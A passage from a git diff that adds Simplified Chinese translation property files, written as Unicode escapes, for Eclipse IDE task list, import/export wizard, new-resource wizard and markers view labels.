}\uff1a{1} +TaskList_statusSummarySelected=\u9009\u62e9\u4e86 {0,choice,0\#0 \u9879|1\#{0,number,integer} \u9879|1<{0,number,integer} \u9879}\uff1a{1} +TaskList_statusSummaryBreakdown={0,choice,0\#0 \u4e2a\u4efb\u52a1|1\#{0,number,integer} \u4e2a\u4efb\u52a1|1<{0,number,integer} \u4e2a\u4efb\u52a1}\uff0c{1,choice,0\#0 \u4e2a\u9519\u8bef|1\#{1,number,integer} \u4e2a\u9519\u8bef|1<{1,number,integer} \u4e2a\u9519\u8bef}\uff0c{2,choice,0\#0 \u4e2a\u8b66\u544a|1\#{2,number,integer} \u4e2a\u8b66\u544a|1<{2,number,integer} \u4e2a\u8b66\u544a}\uff0c{3,choice,0\#0 \u4e2a\u4fe1\u606f|1\#{3,number,integer} \u4e2a +TaskList_titleSummaryUnfiltered={0,choice,0\#0 \u9879|1\#{0,number,integer} \u9879|1<{0,number,integer} \u9879} +TaskList_titleSummaryFiltered={0} \u8fc7\u6ee4\u5668\u5df2\u5339\u914d\uff0c\u603b\u5171 {1,choice,0\#0 \u9879|1\#{1,number,integer} \u9879|1<{1,number,integer} \u9879} +TaskList_headerCompleted=C +TaskList_headerPriority=\! +TaskList_headerDescription=\u63cf\u8ff0 +TaskList_headerResource=\u8d44\u6e90 +TaskList_headerFolder=\u6240\u5728\u6587\u4ef6\u5939 +TaskList_headerLocation=\u4f4d\u7f6e +TaskList_high=\u9ad8 +TaskList_low=\u4f4e +TaskList_normal=\u6b63\u5e38 +TaskList_errorModifyingTask=\u4fee\u6539\u4efb\u52a1\u65f6\u51fa\u9519 +TaskList_reportKind=\u79cd\u7c7b +TaskList_reportStatus=\u72b6\u6001 +TaskList_reportPriority=\u4f18\u5148\u7ea7 +TaskList_task=\u4efb\u52a1 +TaskList_error=\u9519\u8bef +TaskList_warning=\u8b66\u544a +TaskList_info=\u4fe1\u606f +TaskList_completed=\u5df2\u5b8c\u6210 +TaskList_notCompleted=\u672a\u5b8c\u6210 +TaskList_markerLimitExceeded=\u9700\u8981\u663e\u793a\u7684\u9879\u592a\u591a\u3002\n\u8981\u5728\u6b64\u7a97\u53e3\u4e2d\u663e\u793a\u9879\u76ee\uff0c\u8bf7\u8c03\u6574\u8fc7\u6ee4\u5668\u8bbe\u7f6e\u3002 +NewTask_text=\u65b0\u5efa\u4efb\u52a1(&N) +NewTask_tooltip=\u65b0\u5efa\u4efb\u52a1 +NewTask_notShownTitle=\u65b0\u4efb\u52a1\u4e0d\u53ef\u89c6 +NewTask_notShownMsg=\u56e0\u4e3a\u5f53\u524d\u7684\u8fc7\u6ee4\u5668\u8bbe\u7f6e\uff0c\u6240\u4ee5\u65b0\u4efb\u52a1\u4e0d\u53ef\u89c1\u3002\n\u8981\u663e\u793a\u6240\u6709\u4efb\u52a1\uff0c\u8bf7\u9009\u62e9\u201c\u8fc7\u6ee4\u5668...\u201d\uff0c\u7136\u540e\u9009\u62e9\u201c\u590d\u4f4d\u201d\u6309\u94ae\u3002 +CopyTask_text=\u590d\u5236(&C) +CopyTask_tooltip=\u590d\u5236 +PasteTask_text=\u7c98\u8d34(&P) +PasteTask_tooltip=\u7c98\u8d34 +PasteTask_errorMessage=\u7c98\u8d34\u4efb\u52a1\u65f6\u51fa\u9519 +RemoveTask_text=\u5220\u9664(&D) +RemoveTask_tooltip=\u5220\u9664 +RemoveTask_undoText=\u5220\u9664\u4efb\u52a1 +RemoveTask_errorMessage=\u5220\u9664\u4efb\u52a1\u65f6\u51fa\u9519 +Filters_text=\u8fc7\u6ee4\u5668(&F)... +Filters_tooltip=\u8fc7\u6ee4\u5668... +SortByMenu_text=\u6392\u5e8f(&S) +SortByCategory_text=\u6309\u7c7b\u578b(&T) +SortByCategory_tooltip=\u6309\u7c7b\u578b\u5217\u6392\u5e8f +SortByCompleted_text=\u6309\u5b8c\u6210(&C) +SortByCompleted_tooltip=\u6309\u5b8c\u6210\u5217\u6392\u5e8f +SortByPriority_text=\u6309\u4f18\u5148\u7ea7(&P) +SortByPriority_tooltip=\u6309\u4f18\u5148\u7ea7\u5217\u6392\u5e8f +SortByDescription_text=\u6309\u63cf\u8ff0(&D) +SortByDescription_tooltip=\u6309\u63cf\u8ff0\u5217\u6392\u5e8f +SortByResource_text=\u6309\u8d44\u6e90(&R) +SortByResource_tooltip=\u6309\u8d44\u6e90\u5217\u6392\u5e8f +SortByContainer_text=\u6309\u6587\u4ef6\u5939(&F) +SortByContainer_tooltip=\u6309\u6587\u4ef6\u5939\u5217\u6392\u5e8f +SortByLocation_text=\u6309\u4f4d\u7f6e(&L) +SortByLocation_tooltip=\u6309\u4f4d\u7f6e\u5217\u6392\u5e8f +SortByCreationTime_text=\u6309\u521b\u5efa\u65f6\u95f4(&E\uff09 +SortByCreationTime_tooltip=\u6309\u4efb\u52a1\u521b\u5efa\u65f6\u95f4\u6392\u5e8f +SortAscending_text=\u5347\u5e8f(&A) +SortAscending_tooltip=\u5347\u5e8f\u6392\u5e8f +SortDescending_text=\u964d\u5e8f(&S) +SortDescending_tooltip=\u964d\u5e8f\u6392\u5e8f +GotoTask_text=\u8f6c\u81f3(&G) +GotoTask_tooltip=\u8f6c\u81f3 +GotoTask_errorMessage=\u6253\u5f00\u7f16\u8f91\u5668\u65f6\u53d1\u751f\u4e86\u95ee\u9898 +PurgeCompleted_text=\u5220\u9664\u5df2\u5b8c\u6210\u7684\u4efb\u52a1(&T) +PurgeCompleted_tooltip=\u5220\u9664\u5df2\u5b8c\u6210\u7684\u4efb\u52a1 +PurgeCompleted_title=\u5220\u9664\u5df2\u5b8c\u6210\u7684\u4efb\u52a1 +PurgeCompleted_noneCompleted=\u6ca1\u6709\u8981\u5220\u9664\u7684\u5df2\u5b8c\u6210\u4efb\u52a1\u3002 +PurgeCompleted_permanent=\u60f3\u8981\u6c38\u4e45\u5220\u9664\u6240\u6709 {0} \u4e2a\u5df2\u5b8c\u6210\u7684\u4efb\u52a1\u5417\uff1f +PurgeCompleted_errorMessage=\u5220\u9664\u5df2\u5b8c\u6210\u7684\u4efb\u52a1\u65f6\u51fa\u9519 +MarkCompleted_text=\u5df2\u5b8c\u6210\u7684\u6807\u8bb0(&M) +MarkCompleted_tooltip=\u5df2\u5b8c\u6210\u7684\u6807\u8bb0 +SelectAll_text=\u5168\u90e8\u9009\u4e2d(&L) +SelectAll_tooltip=\u5168\u90e8\u9009\u4e2d +Resolve_text=\u5feb\u901f\u4fee\u6b63(&Q)... +Resolve_tooltip=\u5feb\u901f\u4fee\u6b63 +Resolve_title=\u5feb\u901f\u4fee\u6b63 +Resolve_noResolutionsLabel=\u6ca1\u6709\u5feb\u901f\u4fee\u6b63\u53ef\u7528\u4e8e\u6240\u9009\u6807\u8bb0\u3002 +Properties_text=\u5c5e\u6027(&R) +Properties_tooltip=\u5c5e\u6027 +TaskList_filter=\u8fc7\u6ee4\u5668\u4efb\u52a1 +TaskList_showItemsOfType=\u663e\u793a\u5982\u4e0b\u7c7b\u578b\u7684\u9879\u76ee(&T)\uff1a +TaskList_anyResource=\u5728\u4efb\u4f55\u8d44\u6e90\u4e0a(&A) +TaskList_anyResourceInSameProject=\u5728\u540c\u4e00\u9879\u76ee\u7684\u4efb\u4f55\u8d44\u6e90\u4e0a(&P) +TaskList_selectedResource=\u4ec5\u5728\u6240\u9009\u7684\u8d44\u6e90\u4e0a(&O) +TaskList_selectedAndChildren=\u5728\u6240\u9009\u7684\u8d44\u6e90\u53ca\u5176\u5b50\u4ee3\u4e0a(&C) +TaskList_workingSet=\u5728\u5de5\u4f5c\u96c6 {0} \u4e0a(&K) +TaskList_workingSetSelect=\u9009\u62e9(&S)... +TaskList_noWorkingSet=\u5728\u5de5\u4f5c\u96c6\u4e0a\uff1a<\u672a\u9009\u62e9\u4efb\u4f55\u5de5\u4f5c\u96c6>(&K) +TaskList_whereDescription=\u5176\u4e2d\u63cf\u8ff0(&D) +TaskList_contains=\u5305\u542b +TaskList_doesNotContain=\u4e0d\u5305\u542b +TaskList_severity_label=\u5176\u4e2d\u95ee\u9898\u4e25\u91cd\u6027\u4e3a(&V)\uff1a +TaskList_severity_error=\u9519\u8bef(&E) +TaskList_severity_warning=\u8b66\u544a(&G) +TaskList_severity_info=\u4fe1\u606f(&I) +TaskList_priority_label=\u5176\u4e2d\u4efb\u52a1\u4f18\u5148\u7ea7\u4e3a(&Y)\uff1a +TaskList_priority_high=\u9ad8(&H) +TaskList_priority_low=\u4f4e(&W) +TaskList_priority_normal=\u6b63\u5e38\u5316(&N) +TaskList_status_label=\u5176\u4e2d\u4efb\u52a1\u72b6\u6001\u4e3a(&U)\uff1a +TaskList_status_completed=\u5df2\u5b8c\u6210(&M) +TaskList_status_notCompleted=\u672a\u5b8c\u6210(&L) +TaskList_resetText=\u6062\u590d\u7f3a\u7701\u503c(&R) +TaskList_limitVisibleTasksTo=\u5c06\u53ef\u89c6\u9879\u9650\u5236\u4e3a(&B)\uff1a +TaskList_titleMarkerLimitInvalid=\u9519\u8bef +TaskList_messageMarkerLimitInvalid=\u53ef\u89c6\u9879\u9650\u5236\u5fc5\u987b\u662f\u6b63\u6574\u6570\u3002 +TaskPropertiesDialog_WorkingOnMarker=\u6b63\u5728\u5904\u7406\u6807\u8bb0 +TaskPropertiesDialog_CreatingMarker=\u6b63\u5728\u521b\u5efa\u6807\u8bb0 +TaskProp_newTaskTitle=\u65b0\u5efa\u4efb\u52a1 +TaskProp_propertiesTitle={0} \u79cd\u5c5e\u6027 +TaskProp_description=\u63cf\u8ff0(&D)\uff1a +TaskProp_creationTime=\u521b\u5efa\u65f6\u95f4(&T)\uff1a +TaskProp_priority=\u4f18\u5148\u7ea7(&P)\uff1a +TaskProp_completed=\u5df2\u5b8c\u6210(&C) +TaskProp_severity=\u4e25\u91cd\u6027(&Y)\uff1a +TaskProp_onResource=\u5728\u8d44\u6e90\u4e0a(&R)\uff1a +TaskProp_inFolder=\u6240\u5728\u6587\u4ef6\u5939(&F)\uff1a +TaskProp_location=\u4f4d\u7f6e(&L)\uff1a +TaskProp_errorMessage=\u521b\u5efa\u6216\u4fee\u6539\u4efb\u52a1\u65f6\u51fa\u9519 +CopyToClipboardProblemDialog_title=\u590d\u5236\u5230\u526a\u8d34\u677f\u65f6\u51fa\u73b0\u95ee\u9898 +CopyToClipboardProblemDialog_message=\u8bbf\u95ee\u7cfb\u7edf\u526a\u8d34\u677f\u65f6\u51fa\u73b0\u95ee\u9898\u3002\u8981\u91cd\u8bd5\u5417\uff1f +TaskPropertiesDialog_UpdatingAttributes=\u6b63\u5728\u66f4\u65b0\u5c5e\u6027 \ No newline at end of file diff --git a/i18n/org.eclipse.ui.ide.nl_zh/src/org/eclipse/ui/internal/wizards/datatransfer/messages_zh.properties b/i18n/org.eclipse.ui.ide.nl_zh/src/org/eclipse/ui/internal/wizards/datatransfer/messages_zh.properties new file mode 100644 index 0000000..a026e14 --- /dev/null +++ b/i18n/org.eclipse.ui.ide.nl_zh/src/org/eclipse/ui/internal/wizards/datatransfer/messages_zh.properties @@ -0,0 +1,102 @@ +# Copyright by many contributors; see http://babel.eclipse.org/ +DataTransfer_fileSystemTitle=\u6587\u4ef6\u7cfb\u7edf +ZipExport_exportTitle=ZIP \u6587\u4ef6 +ArchiveExport_exportTitle=\u5f52\u6863\u6587\u4ef6 +DataTransfer_browse=\u6d4f\u89c8(&R)... +DataTransfer_selectTypes=\u8fc7\u6ee4\u5668\u7c7b\u578b(&T)... +DataTransfer_selectAll=\u5168\u90e8\u9009\u4e2d(&S) +DataTransfer_deselectAll=\u5168\u90e8\u4e0d\u9009(&D) +DataTransfer_refresh=\u5237\u65b0(&E) +DataTransfer_cannotOverwrite=\u4e0d\u80fd\u8986\u76d6\u6587\u4ef6\uff1a{0} +DataTransfer_scanningMatching=\u6b63\u5728\u626b\u63cf\u4ee5\u67e5\u627e\u5339\u914d\u6587\u4ef6... +DataTransfer_information=\u4fe1\u606f +DataTransfer_importTitle=\u5bfc\u5165\u9879\u76ee +DataTransfer_importTask=\u6b63\u5728\u5bfc\u5165\uff1a +ImportOperation_cannotCopy=\u4e0d\u80fd\u590d\u5236\u6839\u6587\u4ef6\u7cfb\u7edf\u3002 +ImportOperation_importProblems=\u5bfc\u5165\u671f\u95f4\u9047\u5230\u4e86\u95ee\u9898\uff1a +ImportOperation_openStreamError=\u6253\u5f00 {0} \u7684\u8f93\u5165\u6d41\u65f6\u51fa\u9519 +ImportOperation_closeStreamError=\u65e0\u6cd5\u5173\u95ed {0} \u7684\u8f93\u5165\u6d41 +ImportOperation_coreImportError=\u65e0\u6cd5\u5bfc\u5165 {0}\u3002\u539f\u56e0\uff1a{1} +ImportOperation_targetSameAsSourceError=\u65e0\u6cd5\u5bfc\u5165 {0}\u3002\u4e0d\u80fd\u5c06\u6587\u4ef6\u590d\u5236\u5230\u5b83\u672c\u8eab +ImportPage_filterSelections=\u6b63\u5728\u8fc7\u6ee4\u9009\u62e9\u7684\u5185\u5bb9 +FileImport_selectSource=\u9009\u62e9\u8981\u4ece\u5176\u4e2d\u5bfc\u5165\u7684\u76ee\u5f55\u3002 +FileImport_selectSourceTitle=\u4ece\u76ee\u5f55\u4e2d\u5bfc\u5165 +FileImport_fromDirectory=\u4ece\u76ee\u5f55(&Y)\uff1a +FileImport_importFileSystem=\u4ece\u672c\u5730\u6587\u4ef6\u7cfb\u7edf\u5bfc\u5165\u8d44\u6e90\u3002 +FileImport_overwriteExisting=\u8986\u76d6\u73b0\u6709\u8d44\u6e90\u800c\u4e0d\u4f5c\u8b66\u544a(&O) +FileImport_noneSelected=\u5f53\u524d\u6ca1\u6709\u9009\u62e9\u8981\u5bfc\u5165\u7684\u8d44\u6e90\u3002 +FileImport_invalidSource=\u6e90\u76ee\u5f55\u65e0\u6548\u6216\u5c1a\u672a\u6307\u5b9a\u3002 +FileImport_sourceEmpty=\u6e90\u4e0d\u80fd\u662f\u7a7a\u7684\u3002 +FileImport_importProblems=\u5bfc\u5165\u95ee\u9898 +ZipImport_description=\u4ece\u672c\u5730\u6587\u4ef6\u7cfb\u7edf\u5bfc\u5165 ZIP \u6587\u4ef6\u7684\u5185\u5bb9\u3002 +ZipImport_couldNotClose=\u65e0\u6cd5\u5173\u95ed\u6587\u4ef6 {0} +ZipImport_badFormat=\u6e90\u6587\u4ef6\u4e0d\u662f\u6709\u6548\u7684 ZIP \u6587\u4ef6\u3002 +ZipImport_couldNotRead=\u65e0\u6cd5\u8bfb\u53d6\u6e90\u6587\u4ef6\u3002 +ZipImport_fromFile=\u4ece &ZIP \u6587\u4ef6\uff1a +ZipImportSource_title=\u4ece ZIP \u6587\u4ef6\u5bfc\u5165 +ArchiveImport_description=\u4ece\u672c\u5730\u6587\u4ef6\u7cfb\u7edf\u4e2d\u5bfc\u5165\u91c7\u7528 ZIP \u6216 TAR \u683c\u5f0f\u7684\u5f52\u6863\u6587\u4ef6\u7684\u5185\u5bb9\u3002 +ArchiveImport_fromFile=\u4ece\u5f52\u6863\u6587\u4ef6(&A)\uff1a +ArchiveImportSource_title=\u4ece\u5f52\u6863\u6587\u4ef6\u5bfc\u5165 +TarImport_badFormat=\u6e90\u6587\u4ef6\u4e0d\u662f\u6709\u6548\u7684 TAR \u6587\u4ef6\u3002 +TarImport_invalid_tar_format=\u4e0d\u662f\u6709\u6548\u7684 TAR \u683c\u5f0f +WizardExternalProjectImportPage_locationError=\u65e0\u6548\u9879\u76ee\u5185\u5bb9\u76ee\u5f55 +WizardExternalProjectImportPage_projectLocationEmpty=\u5fc5\u987b\u6307\u5b9a\u9879\u76ee\u5185\u5bb9\u76ee\u5f55 +WizardExternalProjectImportPage_projectExistsMessage=\u9879\u76ee\u5df2\u7ecf\u5b58\u5728\u3002 +WizardExternalProjectImportPage_projectContentsLabel=\u9879\u76ee\u5185\u5bb9(&C)\uff1a +WizardExternalProjectImportPage_nameLabel=\u9879\u76ee\u540d(&P)\uff1a +WizardProjectsImportPage_RootSelectTitle=\u9009\u62e9\u6839\u76ee\u5f55(&T)\uff1a +WizardExternalProjectImportPage_title=\u4ece\u6587\u4ef6\u7cfb\u7edf\u5bfc\u5165\u9879\u76ee +WizardExternalProjectImportPage_description=\u4ece\u6587\u4ef6\u7cfb\u7edf\u4e2d\u7684 Eclipse \u9879\u76ee\u521b\u5efa\u65b0\u7684\u9879\u76ee\u3002 +WizardExternalProjectImportPage_notAProject={0} \u6ca1\u6709 .project \u6587\u4ef6\u3002 +WizardExternalProjectImportPage_caseVariantExistsError={0} \u7684\u540d\u79f0\u4e0e\u5de5\u4f5c\u53f0\u4e2d\u53e6\u4e00\u4e2a\u9879\u76ee\u76f8\u51b2\u7a81\u3002\u9879\u76ee\u540d\u79f0\u662f\u4e0d\u533a\u5206\u5927\u5c0f\u5199\u7684\u3002 +WizardExternalProjectImportPage_directoryLabel=\u9009\u62e9\u9879\u76ee\u4f4d\u7f6e\u3002 +WizardProjectsImportPage_ArchiveSelectTitle=\u9009\u62e9\u5f52\u6863\u6587\u4ef6(&A)\uff1a +WizardProjectsImportPage_SelectArchiveDialogTitle=\u9009\u62e9\u5305\u542b\u8981\u5bfc\u5165\u7684\u9879\u76ee\u7684\u5f52\u6863 +WizardProjectsImportPage_ProjectsListTitle=\u9879\u76ee(&P)\uff1a +WizardProjectsImportPage_ProcessingMessage=\u6b63\u5728\u5904\u7406\u7ed3\u679c +WizardProjectsImportPage_SelectDialogTitle=\u9009\u62e9\u8981\u5bfc\u5165\u7684\u9879\u76ee\u7684\u6839\u76ee\u5f55 +WizardProjectsImportPage_SearchingMessage=\u641c\u7d22\u9879\u76ee +WizardExternalProjectImportPage_errorMessage=\u521b\u5efa\u95ee\u9898 +WizardProjectsImportPage_ImportProjectsTitle=\u5bfc\u5165\u9879\u76ee +WizardProjectsImportPage_projectsInWorkspace=\u7070\u8272\u9879\u76ee\u56e0\u5728\u5de5\u4f5c\u7a7a\u95f4\u4e2d\u5b58\u5728\u800c\u4e0d\u80fd\u5bfc\u5165\u3002 +WizardProjectsImportPage_noProjectsToImport=\u6ca1\u6709\u627e\u5230\u53ef\u7528\u4e8e\u5bfc\u5165\u7684\u9879\u76ee\u3002 +WizardProjectsImportPage_CreateProjectsTask=\u521b\u5efa\u9879\u76ee +WizardProjectsImportPage_ImportProjectsDescription=\u9009\u62e9\u8981\u641c\u7d22\u73b0\u6709 Eclipse \u9879\u76ee\u7684\u76ee\u5f55\u3002 +WizardProjectsImportPage_CheckingMessage=\u68c0\u67e5\uff1a{0} +WizardProjectsImportPage_CopyProjectsIntoWorkspace=\u5c06\u9879\u76ee\u590d\u5236\u5230\u5de5\u4f5c\u7a7a\u95f4\u4e2d(&C) +WizardProjectsImportPage_projectLabel={0}\uff08{1}\uff09 +DataTransfer_export=\u5bfc\u51fa +DataTransfer_exportingTitle=\u5bfc\u51fa\uff1a +DataTransfer_createTargetDirectory=\u76ee\u6807\u76ee\u5f55\u4e0d\u5b58\u5728\u3002\u60a8\u8981\u521b\u5efa\u5b83\u5417\uff1f +DataTransfer_directoryCreationError=\u65e0\u6cd5\u521b\u5efa\u76ee\u6807\u76ee\u5f55\u3002 +DataTransfer_errorExporting=\u5bfc\u51fa {0} \u65f6\u51fa\u9519\uff1a{1} +DataTransfer_exportProblems=\u5bfc\u51fa\u95ee\u9898 +ExportFile_overwriteExisting=\u8986\u76d6\u73b0\u6709\u6587\u4ef6\u800c\u4e0d\u53d1\u51fa\u8b66\u544a(&O) +FileExport_selectDestinationTitle=\u5bfc\u51fa\u81f3\u76ee\u5f55 +FileExport_selectDestinationMessage=\u9009\u62e9\u8981\u5bfc\u51fa\u81f3\u7684\u76ee\u5f55 +FileExport_exportLocalFileSystem=\u5c06\u8d44\u6e90\u5bfc\u51fa\u81f3\u672c\u5730\u6587\u4ef6\u7cfb\u7edf\u3002 +FileExport_destinationEmpty=\u8bf7\u8f93\u5165\u76ee\u6807\u76ee\u5f55\u3002 +FileExport_createDirectoryStructure=\u521b\u5efa\u6587\u4ef6\u7684\u76ee\u5f55\u7ed3\u6784(&C) +FileExport_createSelectedDirectories=\u4ec5\u521b\u5efa\u6240\u9009\u76ee\u5f55(&L) +FileExport_noneSelected=\u5f53\u524d\u6ca1\u6709\u9009\u62e9\u8981\u5bfc\u51fa\u7684\u8d44\u6e90 +FileExport_directoryExists=\u76ee\u6807\u76ee\u5f55\u5df2\u7ecf\u4f5c\u4e3a\u6587\u4ef6\u5b58\u5728 +FileExport_conflictingContainer=\u76ee\u6807\u76ee\u5f55\u4e0e {0} \u7684\u4f4d\u7f6e\u51b2\u7a81 +FileExport_rootName=\u5de5\u4f5c\u7a7a\u95f4\u6839\u76ee\u5f55 +FileSystemExportOperation_problemsExporting=\u5bfc\u51fa\u671f\u95f4\u9047\u5230\u4e86\u95ee\u9898\uff1a +FileExport_toDirectory=\u81f3\u76ee\u5f55(&Y)\uff1a +FileExport_damageWarning=\u9879\u76ee {0} \u5728\u6b64\u64cd\u4f5c\u4e4b\u540e\u53ef\u80fd\u5df2\u635f\u574f +ZipExport_compressContents=\u538b\u7f29\u6587\u4ef6\u7684\u5185\u5bb9(&M) +ZipExport_destinationLabel=\u81f3 &ZIP \u6587\u4ef6\uff1a +ZipExport_mustBeFile=\u5bfc\u51fa\u76ee\u6807\u5fc5\u987b\u662f\u6587\u4ef6\uff0c\u800c\u4e0d\u662f\u76ee\u5f55\u3002 +ZipExport_alreadyExists=\u76ee\u6807\u6587\u4ef6\u5df2\u5b58\u5728\u3002\u8981\u8986\u76d6\u5417\uff1f +ZipExport_alreadyExistsError=\u5bfc\u51fa\u76ee\u6807\u5df2\u5b58\u5728\uff0c\u4e0d\u80fd\u8986\u76d6\u5b83\u3002 +ZipExport_cannotOpen=\u65e0\u6cd5\u6253\u5f00\u76ee\u6807\u6587\u4ef6\uff1a{0} +ZipExport_cannotClose=\u65e0\u6cd5\u5173\u95ed\u76ee\u6807\u6587\u4ef6\uff1a{0} +ZipExport_selectDestinationTitle=\u5bfc\u51fa\u81f3 ZIP \u6587\u4ef6 +ZipExport_destinationEmpty=\u8bf7\u8f93\u5165\u76ee\u6807 ZIP \u6587\u4ef6\u3002 +ArchiveExport_description=\u5c06\u8d44\u6e90\u5bfc\u51fa\u81f3\u672c\u5730\u6587\u4ef6\u7cfb\u7edf\u4e0a\u7684\u5f52\u6863\u6587\u4ef6\u3002 +ArchiveExport_destinationLabel=\u4fdd\u5b58\u5230\uff1a +ArchiveExport_selectDestinationTitle=\u5bfc\u51fa\u81f3\u5f52\u6863\u6587\u4ef6 +ArchiveExport_destinationEmpty=\u8bf7\u9009\u62e9\u8981\u5bfc\u51fa\u7684\u6587\u4ef6\uff0c\u5e76\u9009\u62e9\u9879\u76ee\u5305\u7684\u5b58\u50a8\u8def\u5f84\u3002 +ArchiveExport_saveInZipFormat=\u4ee5 &ZIP \u683c\u5f0f\u4fdd\u5b58 +ArchiveExport_saveInTarFormat=\u4ee5 tar \u683c\u5f0f\u4fdd\u5b58(&V) \ No newline at end of file diff --git a/i18n/org.eclipse.ui.ide.nl_zh/src/org/eclipse/ui/internal/wizards/newresource/messages_zh.properties b/i18n/org.eclipse.ui.ide.nl_zh/src/org/eclipse/ui/internal/wizards/newresource/messages_zh.properties new file mode 100644 index 0000000..ff38ad3 --- /dev/null +++ b/i18n/org.eclipse.ui.ide.nl_zh/src/org/eclipse/ui/internal/wizards/newresource/messages_zh.properties @@ -0,0 +1,19 @@ +# Copyright by many contributors; see http://babel.eclipse.org/ +FileResource_shellTitle=\u65b0\u5efa\u6587\u4ef6 +FileResource_pageTitle=\u6587\u4ef6 +FileResource_description=\u521b\u5efa\u65b0\u6587\u4ef6\u8d44\u6e90\u3002 +FileResource_errorMessage=\u6253\u5f00\u7f16\u8f91\u5668\u65f6\u53d1\u751f\u4e86\u95ee\u9898 +NewFolder_title=\u65b0\u5efa\u6587\u4ef6\u5939 +NewFolder_text=\u6587\u4ef6\u5939 +NewProject_windowTitle=\u65b0\u5efa\u9879\u76ee +NewProject_title=\u9879\u76ee +NewProject_description=\u521b\u5efa\u65b0\u7684\u9879\u76ee\u8d44\u6e90\u3002 +NewProject_referenceTitle=\u9879\u76ee\u5f15\u7528 +NewProject_referenceDescription=\u9009\u62e9\u5f15\u7528\u7684\u9879\u76ee\u3002 +NewProject_errorOpeningWindow=\u6253\u5f00\u7a97\u53e3\u65f6\u51fa\u73b0\u95ee\u9898 +NewProject_errorMessage=\u521b\u5efa\u95ee\u9898 +NewProject_internalError=\u5185\u90e8\u9519\u8bef\uff1a{0} +NewProject_caseVariantExistsError=\u5e95\u5c42\u6587\u4ef6\u7cfb\u7edf\u4e0d\u533a\u5206\u5927\u5c0f\u5199\u3002\u73b0\u6709\u9879\u76ee\u6216\u76ee\u5f55\u4e0e\u201c{0}\u201d\u53d1\u751f\u51b2\u7a81\u3002 +NewProject_perspSwitchTitle=\u8981\u6253\u5f00\u76f8\u5173\u8054\u7684\u900f\u89c6\u56fe\u5417\uff1f +NewProject_perspSwitchMessage=\u8fd9\u79cd\u9879\u76ee\u4e0e {0} \u900f\u89c6\u56fe\u76f8\u5173\u8054\u3002\u8981\u7acb\u5373\u6253\u5f00\u6b64\u900f\u89c6\u56fe\u5417\uff1f +NewProject_perspSwitchMessageWithDesc=\u8fd9\u79cd\u9879\u76ee\u4e0e {0} \u900f\u89c6\u56fe\u76f8\u5173\u8054\u3002\n\n{1}\n\n\u8981\u7acb\u5373\u6253\u5f00\u6b64\u900f\u89c6\u56fe\u5417\uff1f \ No newline at end of file diff --git a/i18n/org.eclipse.ui.ide.nl_zh/src/org/eclipse/ui/views/markers/internal/messages_zh.properties b/i18n/org.eclipse.ui.ide.nl_zh/src/org/eclipse/ui/views/markers/internal/messages_zh.properties new file mode 100644 index 0000000..d368fba --- /dev/null +++ b/i18n/org.eclipse.ui.ide.nl_zh/src/org/eclipse/ui/views/markers/internal/messages_zh.properties @@ -0,0 +1,210 @@ +# Copyright by many contributors; see http://babel.eclipse.org/ +sortAction_title=\u6392\u5e8f(&S)... +filtersSubMenu_title=\u8fc7\u6ee4\u5668(&F) +filtersAction_title=\u8fc7\u6ee4\u5668(&F)... +filtersAction_tooltip=\u914d\u7f6e\u8981\u5e94\u7528\u4e8e\u6b64\u89c6\u56fe\u7684\u8fc7\u6ee4\u5668 +sortDialog_title=\u6392\u5e8f +sortDialog_label=\u6392\u5e8f\u4f9d\u636e\uff1a +sortDialog_columnLabel=&{0}\u3002 +sortDirectionAscending_text=\u5347\u5e8f(&A) +sortDirectionAscending_text2=\u5347\u5e8f(&S) +sortDirectionAscending_text3=\u5347\u5e8f(&C) +sortDirectionAscending_text4=\u5347\u5e8f(&N) +sortDirectionDescending_text=\u964d\u5e8f(&D) +sortDirectionDescending_text2=\u964d\u5e8f(&E) +sortDirectionDescending_text3=\u964d\u5e8f(&I) +sortDirectionDescending_text4=\u964d\u5e8f(&G) +restoreDefaults_text=\u6062\u590d\u7f3a\u7701\u503c(&F) +Error=\u9519\u8bef\uff1a +Unknown=\u672a\u77e5 +description_message=\u63cf\u8ff0 +description_resource=\u8d44\u6e90 +description_folder=\u8def\u5f84 +description_lineNumber=\u4f4d\u7f6e +description_creationTime=\u521b\u5efa\u65f6\u95f4 +description_markerId=\u6807\u8bc6 +description_type=\u7c7b\u578b +label_lineNumber=\u7b2c {0} \u884c +openAction_title=\u8f6c\u81f3(&G) +copyAction_title=\u590d\u5236(&C) +pasteAction_title=\u7c98\u8d34(&P) +deleteAction_title=\u5220\u9664(&D) +deleteAction_tooltip=\u5220\u9664 +selectAllAction_title=\u5168\u90e8\u9009\u4e2d(&A) +selectAllAction_calculating=\u8ba1\u7b97\u6240\u9009\u5185\u5bb9 +selectAllAction_applying=\u5e94\u7528\u6240\u9009\u5185\u5bb9 +propertiesAction_title=\u5c5e\u6027(&R) +deleteActionConfirmTitle=\u5220\u9664\u6240\u9009\u6761\u76ee +deleteActionConfirmMessage=\u8981\u5220\u9664\u6240\u9009\u6761\u76ee\u5417\uff1f\u5220\u9664\u7684\u6807\u8bb0\u53ef\u901a\u8fc7\u6784\u5efa\u91cd\u65b0\u521b\u5efa\uff0c\u4e5f\u53ef\u80fd\u65e0\u6cd5\u6062\u590d\u3002 +configEditDialog_name=\u540d\u79f0(&A)\uff1a +filtersDialog_title=\u8fc7\u6ee4\u5668 +filtersDialog_entriesTitle=&\u914d\u7f6e\uff1a +filtersDialog_showItemsOfType=\u663e\u793a\u5982\u4e0b\u7c7b\u578b\u7684\u9879\u76ee(&T)\uff1a +filtersDialog_anyResource=\u5728\u4efb\u4f55\u5143\u7d20\u4e0a(&E) +filtersDialog_anyResourceInSameProject=\u5728\u540c\u4e00\u9879\u76ee\u4e2d\u7684\u4efb\u4f55\u5143\u7d20\u4e0a(&J) +filtersDialog_selectedResource=\u4ec5\u5728\u6240\u9009\u5143\u7d20\u4e0a(&M) +filtersDialog_selectedAndChildren=\u5728\u6240\u9009\u5143\u7d20\u53ca\u5176\u5b50\u4ee3\u4e0a(&H) +filtersDialog_workingSet=\u5728\u5de5\u4f5c\u96c6 {0} \u4e0a(&K) +filtersDialog_currentWorkingSet=\u5728\u6240\u9009\u5de5\u4f5c\u96c6\u4e0a(&K) +filtersDialog_workingSetSelect=\u9009\u62e9(&S)... +filtersDialog_noWorkingSet=\u5728\u5de5\u4f5c\u96c6\u4e0a\uff1a<\u672a\u9009\u62e9\u4efb\u4f55\u5de5\u4f5c\u96c6>(&K) +filtersDialog_selectAll=\u5168\u90e8\u9009\u4e2d(&A) +filtersDialog_deselectAll=\u5168\u90e8\u4e0d\u9009(&D) +filtersDialog_selectAllTypes=\u5168\u90e8\u9009\u4e2d(&C) 